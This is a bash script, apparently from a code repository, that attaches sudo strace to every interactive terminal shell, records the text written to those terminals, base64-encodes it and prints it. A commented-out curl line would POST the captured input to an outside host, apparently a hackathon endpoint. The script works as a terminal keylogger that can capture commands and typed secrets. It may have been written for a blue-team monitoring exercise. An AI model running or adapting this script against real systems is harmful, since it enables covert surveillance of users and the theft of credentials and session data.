81 lines
2.1 KiB
Bash
Executable File
81 lines
2.1 KiB
Bash
Executable File
#!/usr/bin/env bash
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BUFFER=buf.txt
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first=0
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# Requires sudo, strace and GNU grep
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trimxxd () {
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cat /dev/stdin |
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sed -e 's/\(0a\|0d\)*$//g' -e 's/^\(0a\|0d\)*//g' -e 's/2020$/20/g'
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}
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get-between () {
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cat /dev/stdin |
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grep \
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--line-buffered \
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-o '".*[^"]"' |
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grep \
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--line-buffered \
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-o '[^"]*[^"]'
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}
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write-buffer () {
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buffer="${1}"
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cat /dev/stdin >> "${buffer}"
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}
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clear-buffer () {
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buffer="${1}"
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: > "${buffer}"
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}
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send-buffer () {
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buffer="${1}"
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content="$(cat "${BUFFER}" | xxd -ps -c0 | sed -e 's/\(0d\)\?1b5b3f323030346\(8\|c\)//g' -e 's/0d$//g' -e 's/^24//g' | xxd -ps -c0 -r | base64 -w0)"
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if [ -n "${content}" ]; then
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echo "{${content}}"
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# curl -sL https://hackhpi.kyudev.xyz/api/blue -X POST -H "Content-Type: application/json" -d "{\"data\": \"${content}\", \"timestamp\": \"$(date +%s)\"}" 1>/dev/null
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fi
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clear-buffer "${BUFFER}"
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}
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delete-buffer () {
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buffer="${1}"
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rm -f "${buffer}"
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}
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clear-buffer "${BUFFER}"
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sudo strace \
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-e trace=write \
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-s 1000 \
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-f \
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$(ps u |
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grep pts |
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grep Ss |
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grep -v grep |
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awk '{print "-p " $2 " "}' |
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xargs) \
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2>&1 |
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while IFS="" read -r line; do
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between="$(printf '%s' "${line}" | get-between)"
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fd="$(printf '%s' "${line}" | grep -o 'write(.' | tail -c 2 | head -c 1)"
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if [ "${fd}" = "1" ] || [ "${fd}" = "4" ]; then
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first=1
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elif [ "$(printf '%s' "${between}" | wc -c)" -gt 10 ] || [ "${fd}" = "3" ]; then
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:
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else
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if [ "${first}" = "1" ]; then
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first=0
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send-buffer "${BUFFER}"
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fi
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pre_replace="$(printf '%b' "${between}" | xxd -ps -c0 | trimxxd)"
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replace="$(printf '%s' "${pre_replace}" | sed -e 's/^1b5b3f323030346c/BEGIN/g' -e 's/1b5b3f3230303468.*/AFTER/g')"
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if [ "${between}" = " " ] ||[ "${between}" = "\n" ] || [ -n "${replace}" ] && [ "${replace}" = "${pre_replace}" ]; then
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printf '%b' "${between}" | write-buffer "${BUFFER}"
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fi
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fi
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done
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delete-buffer "${BUFFER}"
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